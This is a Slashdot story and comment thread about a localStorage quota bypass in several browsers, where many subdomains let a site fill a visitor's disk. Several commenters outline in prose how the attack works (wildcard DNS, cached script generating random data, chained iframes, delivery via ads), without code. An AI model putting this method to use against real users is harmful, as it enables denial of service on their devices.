Slashdot videos: Now with more Slashdot!

View

Discuss

Share

We've improved Slashdot's video section; now you can view our video interviews, product close-ups and site visits with all the usual Slashdot options to comment, share, etc. No more walled garden! It's a work in progress -- we hope you'll check it out (Learn more about the recent updates).

Dystopian Rebel writes "A Stanford comp-sci student has found a serious bug in Chromium, Safari, Opera, and MSIE. Feross Aboukhadijeh has demonstrated that these browsers allow unbounded local storage. 'The HTML5 Web Storage standard was developed to allow sites to store larger amounts of data (like 5-10 MB) than was previously allowed by cookies (like 4KB). ... The current limits are: 2.5 MB per origin in Google Chrome, 5 MB per origin in Mozilla Firefox and Opera, 10 MB per origin in Internet Explorer. However, what if we get clever and make lots of subdomains like 1.filldisk.com, 2.filldisk.com, 3.filldisk.com, and so on? Should each subdomain get 5MB of space? The standard says no. ... However, Chrome, Safari, and IE currently do not implement any such "affiliated site" storage limit.' Aboukhadijeh has logged the bug with Chromium and Apple, but couldn't do so for MSIE because 'the page is broken" (see http://connect.microsoft.com/IE). Oops. Firefox's implementation of HTML5 local storage is not vulnerable to this exploit."

This seems like mental masturbation to me. I see no point in initiating such an "attack".

If I understand correctly, you are going to expend great effort and possibly money on tens of thousands of subdomains, transfer a lot of data and incur bandwidth charges, in order to fill someone's hard drive? This is about the lamest DoS attack I have ever heard of. And the easy fix is to simply clear cookies?

It's a web app, let the client generate it. You generate the free sub domains with a script or something a bit more intelligent but either way the cost should be minimal. I assume as well you wouldn't necessarily need to fill it completely. A gig or two might ruin the browser's performance.

You misunderstand how the attack works. The client-side code is allowed to store 5-10MB per domain, but it can generate this data (math.random() will do it fine). The per-domain thing mean that you need one HTTP request per 5-10MB, but on the server that will be a wildcard DNS entry always resolving to the same server. If you set the cache headers with a sufficiently long timeout, then you can probably have a single site hosting the.js (so the browser will only request it once) and then just send a tiny HTML page referencing it. The JavaScript then creates a new iframe with a new (random) subdomain as the target, and so you each HTTP request to your server (total of about 1KB of traffic) generates 5-10MB of data on the client's hard disk.

Say I have 1TB free space. Before I run out of disk, it'll take 100MB of data, I'd be waiting for my browser to write out 1TB of data and there will be 100,000 HTTP requests made. 100,000 IFrame's... Browser probably crashed after a few hundred.

I think I'd close my browser because it stopped responding before I get anywhere near running out of space. At 100MB/s (average spinny disk sequential write speed. I doubt Javascript could keep up generating data with that

If you look at what he's saying, you'll see that the javascript only gets downloaded once for all the domains. For each domain you need an html page that just has a script link to the fixed js file (that your browser already has cached). So, think maybe 100 bytes per 5-10MB.

Add all the HTTP headers to your 100 bytes as well, along with the HTTP request too. The browser will be sending the referrer url, the user agent string, cache control headers, etc.1k seems reasonable.

Devices with smaller drives like a cell phone, tablet or laptops like Google's Pixel would be more vulnerable. Perhaps if you created some javascript that simply made requests to iterated subdomains that simply returned a small amount of javascript that then generated large amounts of text to store locally? The bandwidth needed would be much less then and the same amount of damage done. I have no idea if this scenario is possible though so take this with a grain of salt.

I don't see any need to transfer data. Simply generate random strings programatically. One could easily write a few lines of code. The storage API is a 'key' and 'value' system, so just randomly generate keys and randomly generate values in a loop. Super easy. For the subdomain stuff, like others have said, wildcard for DNS. Then just serve the small js file that runs, then programtically generates a new random subdomain to dynamically load

The DNS specifications state the max length of a domain name is 253. Assuming you could get the smallest possible root domain name of 4 characters (x.cc for example) that means you would have 249 characters left.

To complicate things a little more the specifications state each label (subdomain) can't exceed 63 characters. That means 3 full subdomains of 63 characters + 1 subdomain of 56 characters if you include the periods. Grand total of 245 characters to play with.

You made three mistakes:* placing dots differently can give quite a lot of combinations* you can have subdomains shorter than the max, this effectively adds dots to the character set, with two restrictions: no two dots in a row/start/end, no string of >63 non-dots. The former reduces the base by a small but noticeable bit, the latter has only infinitessimal (colloquial sense) effect.* DNS names are case-insensitive

"Nearly infinite" means "it's not infinite, but it's large enough that it has most of the same practical effects as it would if it were infinite".

You seem to be interpreting the word "nearly" to mean "has a numerical value close to" rather than "has effects similar to". Obviously it is nonsensical for something to be nearly infinite using that first definition, but that should be a warning sign that you're not using the definition that people mean, not that everyone else is speaking nonsense.

Obviously it is nonsensical for something to be nearly infinite using that first definition, but that should be a warning sign that you're not using the definition that people mean, not that everyone else is speaking nonsense.

But that would mean I'd have to agree that context carries as much information as the lexical meaning! How can I be an asshole on the Internet if I can't equivocate!

That's being foolish. A wildcard DNS entry will easily match more than hundreds of billions of domains. This is large enough that it's more than anybody could conceivably have a use for. The number of subdomains is in fact bounded, but actually even figuring out the limit is a mathematical exercise - not a practical concern.

Consider - you have more than 200 quadrillion plastic ballpit balls. This is large enough that you can't count them in more than a million years, even if you counted very, very quickly.

Well, the number of particles in the observable universe is finite.So everything that is included in this universe is also finite, and everything I know and can imagine in our universe is pretty much finite.

Pet peeve: people who can't understand that "nearly infinite" was intended to mean "essentially infinite" and feel the need to be a nazi about it because they have nothing of actual worth to contribute to discussion.

Not sure what effort you are referring to. I can create large numbers of subdomains using a simple script to modify the zone file. Subdomains cost nothing. No effort, and no money.
Bandwidth is nearly nothing because I don't have to transfer any data to create data on the victim's drive if I use javascript.
Lastly, you're not thinking about threats holistically. This just becomes one single tool added to a group of other tools that can be employed in an advanced persistent threat attack.

If you have a popular blog, there's no need to pay for network backup anymore - just drop enough 5MB blocks encrypted and with decent FEC to each of your readers. If you ever have a failure, just throw up a basic page with a funny cat picture and start restoring from your distributed backup.

It doesn't take much work or time to set up a wildcard CNAME entry pointing to a single web server that answers a wildcard. You now have billions of subdomains with a couple of minutes of work.The web instance serves a short javascript which generates a boatload of data on the client side, and then calls a random subdomain to reload the js with a new domain name.

All this can be linked to a single ad (or blog comment, for vulnerable boards that allow css exploits).

It doesn't take much work or time to set up a wildcard CNAME entry pointing to a single web server that answers a wildcard.

Call me crazy but I seem to think that this is part of the default configuration for out of the box BIND. You set up all your domains and then drop the wildcard in at the bottom to catch everything else?

I have a redirect to my webpage. And I can spoof this using PHP, I've done it before so I can point people to a1.mypage.com or a2.mypage.com, they both hit the same index.php on the same system, yet show completely different things, how simpler you think would be to show the same thing instead?

So THIS is how Mega is getting all their disk space....Imagine:Everyone who uses the site is a node that is getting filled up by other people's encrypted garbage.... Free space, redundant, encrypted, distributed, and can charge for it... Perfect.

The inode tables thing is a good point. Even if the space is constrained via quota, unless the number of files is limited, you could perhaps create a mass of 0 byte files to perform an inode DOS without needing to bother about subdomain BS.

His example filled 1GB every 16 seconds, so 500GB in about two hours. That was an SSD though - you're basically limited by your hard drive's write speed (for extra fun, you'll likely fill up the disk cache and start swapping...). You may get 100MB/s from linear writes to a spinning disk, if you're lucky, 20-30MB/s is more plausible. The data isn't fetched from the server, it's generated by the JavaScript.

Of course, you highlight another potential DOS - in the scenario you mention, one site can reduce the quota available to another subdomain, as they share it. It's a lose-lose situation: permit DOSing the user, or permit DOSing other sites on the same 2LD.Let's hope they understand how CCTLDs are organised. I don't like the idea of every site under *.co.uk sharing the same 5MB. When they specified cookies, they fucked up, I dont trust them to have learnt from their mistakes and got HTML5 correct, far from it

There's an interesting paper by the Chrome guys from a couple of years back trying to define exactly what a web application is. A modern browser is trying to be an OS, and one of the fundamental tasks of an OS is isolating applications from each other. This is relatively difficult, as two applications may exchange files or use the same libraries, but at least they are launched as different processes. A web application is a tangle of resources from a variety of different domains running in one or more bro

On Linux using the pepperflash plugins, lots & lots of zombie processes get created and aren't even killed after you exit the browser. When I noticed 5GB of memory usage on an empty desktop, I realized that Chromium is a pro-zombie browser.

Chrome will remain running if you have apps installed that want to run in the background. There is an option in Settings to suppress this behavior. On Windows Chrome keeps a notification icon showing so you can shut down the browser and force these background apps to quit. Other platforms probably have something similar.

Chrome also keeps a process running for Cloud Print, if you have it enabled.

The 5GB is probably a badly-behaving app/extension. Check Chrome's Task Manager to figure out which one.

Let me clarify as I thought it was clear but apparently not, isn't everyone that uses wordpress.com to host a blog using a subdomain of wordpress.com? If that is true doesn't that make this standard a little difficult to follow.

Its not the user that follows the standard its the browser and it's developers that determine "yeah we can do that". As many people pointed out this would have impacts on more than my example, its just the one at the tip of my tongue. I can only guess the devs looked at that and said "that breaks too much" and tossed the 'suggestion' for this standard aside. I'm sure the devs thought about more than stupid wordpress sites. I doubt they would set this up to work on some domains and not others, it's likel

A Stanford comp-sci student has found a serious bug in Chromium, Safari, Opera, and MSIE.

OK, so we're talking about Google, Apple, Opera and Microsoft. But then...

The current limits are: 2.5 MB per origin in Google Chrome, 5 MB per origin in Mozilla Firefox and Opera, 10 MB per origin in Internet Explorer.

Now we're talking about Google, Mozilla, Opera and Microsoft. Where did Mozilla come from, and where did Apple go?

Chrome, Safari, and IE currently do not implement any such "affiliated site" storage limit.' Firefox's implementation of HTML5 local storage is not vulnerable to this exploit.

Now we're talking about Google, Apple, Microsoft and Mozilla. Apple's back, and Opera is left out this time, and even though the author seemed to be indicating that Mozilla's browser was on the vulnerable list, now it's set apart.

Editors, if a summary is inconsistent, please clean it up or don't promote the story.

The first part was talking about bugs; the second was talking about storage limits. Mozilla has no bug but does have a storage limit. Apple presumably has the bug, but we don't know what its storage limit is.

No mention of this in the 12.14 release notes (even as a "vulnerability with details to follow later", which is common practice for Opera changelogs), and silence on the article about exactly how/why/where Opera is vulnerable.

If something pops up a million times and asks you for a Gigabyte and you click yes, then that's perfectly accepted user permission to do so.

There's many, many ways to exhaust the resources through a browser. Just generate a huge document. Or sit in a recursive loop in JS until the stack fills the memory. By using imagination, various other methods can probably be found.

And this is why software homogenization is bad. Webkit is becoming the new IE6 but has far greater consequences because every smartphone is using a webkit based browser by default. Yes it also affected IE and Opera but Opera cut their core developers and are moving to Webkit so soon there will only be 3 major engines with one of them having a complete monopoly on smartphones.

So, where is the limit supposed to apply? To all subdomains of.com? To all subdomains of.au? How about my ISP who offers me FOO.power.on.net? Should every customer's website on power.on.net have to share the same space?

Poorly thought out standard is poor.

The browsers obviously didn't put a limit in for subdomains because it doesn't make sense. You have no idea where the organisational boundary is with regards to domain vs. subdomain.

no. it's a bug. the HTML5 spec clearly states that this exact behaviour should be looked out for and blocked

Its not a bug. While the Web Storage API Candidate Recommendation (related to, but not part, of, the HTML5 spec) both says that user agents should set a per-origin storage limit and should identify and prevent use of "origins of affiliated sites" to circumvent that limit, it doesn't specify either what constitutes an "affiliated site", and neither of those things that it says "should" be done are requirements of the specification. "Should" has a quite specific meaning in the specification (defined by reference in the spec to RFC2119 [ietf.org]), and its not the same as "must", instead:

SHOULD This word, or the adjective "RECOMMENDED", mean that there may exist valid reasons in particular circumstances to ignore a particular item, but the full implications must be understood and carefully weighed before choosing a different course.

So, its both a recommendation rather than a requirement, and not specified clearly enough to be implemented. There are some cases where origins of the same second-level domain are meaningfully affiliated, and some times where they are not (for a clear case of the latter, consider subdomains of ".co.uk".) Its pretty clear that origins which differ only in protocol are almost always going to be affiliated by any reasonable definition (e.g., http://www.example.com/ [example.com] and https://www.example.com/ [example.com] which are different origins), but no automatic identification of origin affiliation by subdomain can be done simply without understanding of per-domain policies from the TLD down to the first level at which all subdomains are affiliated. (And this is a problem which will get worse with the planned explosion of TLDs.) W

You must be awful fun when talking to customers. They tend not to understand the distinction between "shall" and "should".

"there may exist valid reasons in particular circumstances to ignore a particular item" - in other words, this is a case where the feature should ALWAYS be applied to generic software because that must deal with all circumstances, not just "particular" ones.

It really should not be hard to have a popup that says "This web page wants to create local storage on your computer allow/disallow

You must be awful fun when talking to customers. They tend not to understand the distinction between "shall" and "should".

There is a reason why internet specifications (whether or not they are from IETF, and often whether or not they are even intended as standards-track) reference the RFC2119 definitions. "MUST" vs. "SHOULD" is an important distinction.

In this particular case, whats even more important is that the recommended functionality at issue isn't defined at all, there is just one example -- and the example doesn't fully specify the origins, so its an incomplete example -- given and no definition of the parameters of the identification of "affiliated origins". So if it was a "MUST", it would be a broken standard (since it would be impossible to assess conformance), and as it is, its impossible to say whether a particular implementation even implements the recommended functionality.

"there may exist valid reasons in particular circumstances to ignore a particular item" - in other words, this is a case where the feature should ALWAYS be applied to generic software because that must deal with all circumstances, not just "particular" ones

Any particular user agent is a "particular circumstance" (it is specific software with a specific use case within the scope of all possible kinds of user agents which might implement the Web Storage API); there is no such thing as an implementation that must deal with "all circumstances".

It really should not be hard to have a popup that says "This web page wants to create local storage on your computer allow/disallow"

Its not at all hard, but that's not related to the recommendation to implement per-origin quotas, or the further recommendation to build on top of the per-origin quotas functionality to detect and limit the use of "affiliated origins" to circumvent the per origin quotas, which is what is at issue here. Per-origin allow/disallow for Web Storage use isn't even a recommendation of the specification. (Though it is explicitly permitted behavior.)

You must be awful fun when talking to customers. They tend not to understand the distinction between "shall" and "should".

So are you saying that a fun systems engineer talking to a client will therefore land the client in legal hotwater? These kind of things should not be fun for exactly that reason. As a customer I would greatly appreciate if some of the vendors dispelled with the bullshit and clearly defined what should and what shall be done. Projects have a tendency to go much better when that happens and everyone leaves happy.

HTML5 spec clearly states that this exact behaviour should be looked out for and blocked

There are two errors in this statement:

The less significant error is that the relevant spec is the Web Storage specification, not the HTML5 specification;

The more significant error is that while the spec recommends per-origin quotas (which most browsers have), and recommends taking measures to identify and prevent the use of affiliated origins to circumvent per-origin limits, it does not, in fact, define what constitutes

BTW, the world's first bug was a moth caught in a computers wiring, hence its name.

No, it wasn't. The term "bug" predates that (and computers) as a term for faults in electrical systems. The well-known moth that is the source of this myth was described in the notebook to which it was taped as the "first known instance of an actual bug being found", clearly indicating that computer "bugs" had existed before that time, but that the novel thing wasn't the term, but the fact than an actual arthropod was locate

I think you need to review the relevant portion of the specification, particularly the use of the word "should" and the reference to RFC2119 for the specific definition of "should" that is applicable when used in the specification.

Except that the specification is perfectly fine, it's the implementation that does something different. Or do you claim that the HTML5 spec is wrong when it says that browsers should not allow for this DoS attack to happen? Stop being a dick and admit your mistake.

Except that the specification is perfectly fine, it's the implementation that does something different.

Well, except that if you actually read the specification, nothing raised in TFS involves doing something different than required by the specification, and, in fact, the relevant recommended-but-not-required functionality described in the specification isn't defined at all (there is no definition of "affiliated origin", and only one example given.). Its outside of the simplest naive generalization of the ex

It's not intended behavior being exploited. Did you even read the summary?

I read the summary. The author of the summary, however, has not read the spec [w3.org], or, if they have, has failed to understand all of the following (a) that both the use of per-origin quotas is a recommendation, not a requirement, of the spec; (2) that the use of controls to prevent the use of affiliated origins to circumvent the recommended per-origin quotas are also recommendations, not requirements, of the spec, and (3) that the spec ac

So, tell me, what exactly are the valid reasons for NOT implementing this other than to allow a site to fill up your hard drive.

The lack of ability to determine whether or not bar.foo.com and baz.foo.com are affiliated with one another. They may be the same company, they may be entirely different organsiations. They should NOT therefore be forced to share the same storage quota.

The spec as TFA author is interpreting it is broken. In actual fact, the spec leaves this open as an implementation detail and

The specification at issue is not a standard, its a Candidate Recommendation [w3.org]. Ikay, that's a technicality, but more importantly:They are following it; both the per-origin quotas themselves and the controls regarding preventing use of affiliated origins to circumvent the quotas are recommendations (should), not a requirements (must), of the spec, so even if they were not implemented at all, the implementation could be following the spec completely.

Persistent Storage
Domain Quota Exceed Handling For localStorage: 1 (Open a dialog when the quota for local storage is exceeded)
Domain Quota For localStorage: 5120
Global Quota For localStorage: 102400
User JS Storage Quota: 0 (Quota in kilobytes available for user script storage. Set to 0 to prevent any use.)

Yeah I'd say it's not vulnerable to a harddrive filling exploit.

Opera definitely has issues with site-compatibility - usually due to b

browsers, phones, computers, cars, TVs, etc. People get tribal about everything that is branded. When did we go from having faith that brand X made good products go to "everything other than brand X is complete crap!"

Since the actual behavior of the recommended-but-not-required functionality to identify "affiliated" origins and prevent their use to circumvent the likewise recommended-but-not-required per-origin quotas is not actually specified in the Web Storage specification (particularly, the criteria for defining affiliated origins are never specified, all that is provided is one example of a set of incompletely-specified origins as an example of affi

Not only that, but on his other point, the memshrink project took off, Firefox has been using significantly less memory than other browsers.On my system, for 5-10 tabs, Firefox uses about half as much memory as Chrome. For a large number of tabs, Chrome explodes to gigabytes of memory while Firefox doesn't go up by much at all.Not to mention tab groups make organising that large number of tabs a lot easier.